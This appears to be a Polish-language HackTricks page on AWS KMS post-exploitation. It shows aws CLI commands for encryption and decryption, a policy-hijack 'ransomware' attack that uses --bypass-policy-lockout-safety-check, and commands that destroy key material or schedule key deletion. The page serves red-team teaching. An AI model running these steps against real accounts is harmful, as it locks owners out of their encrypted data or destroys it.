AWS - KMS Post Exploitation

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

KMS

Aby uzyskać więcej informacji, sprawdź:

pageAWS - KMS Enum

Szyfrowanie/Odszyfrowywanie informacji

  • Korzystając z klucza symetrycznego

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Korzystanie z klucza asymetrycznego:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Atakujący mający uprzywilejowany dostęp do KMS mógłby zmodyfikować politykę KMS kluczy i udzielić swojemu kontu dostępu do nich, usuwając dostęp udzielony prawidłowemu kontu.

Następnie użytkownicy prawidłowego konta nie będą w stanie uzyskać dostępu do żadnych informacji z usługi, która została zaszyfrowana tymi kluczami, tworząc prosty, ale skuteczny ransomware na koncie.

Zauważ, że zarządzane klucze AWS nie są dotknięte tym atakiem, dotyczy to tylko kluczy zarządzanych przez klienta.

Zauważ również konieczność użycia parametru --bypass-policy-lockout-safety-check (brak tej opcji w konsoli internetowej sprawia, że atak ten jest możliwy tylko z wiersza poleceń).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Zauważ, że jeśli zmienisz tę politykę i udzielić dostępu tylko zewnętrznemu kontu, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby przywrócić dostęp do pierwotnego konta, nie będziesz w stanie.

Ogólny ransomware KMS

Globalny ransomware KMS

Istnieje inny sposób przeprowadzenia globalnego ransomware KMS, który obejmowałby następujące kroki:

  • Utwórz nowy klucz z materiałem klucza zaimportowanym przez atakującego

  • Ponownie zaszyfruj starsze dane zaszyfrowane poprzednią wersją nowym kluczem.

  • Usuń klucz KMS

  • Teraz tylko atakujący, który ma oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane

Usuwanie kluczy

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Należy zauważyć, że AWS teraz uniemożliwia wykonanie wcześniejszych działań z innego konta:

Zacznij od zera i stań się ekspertem AWS Red Team dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated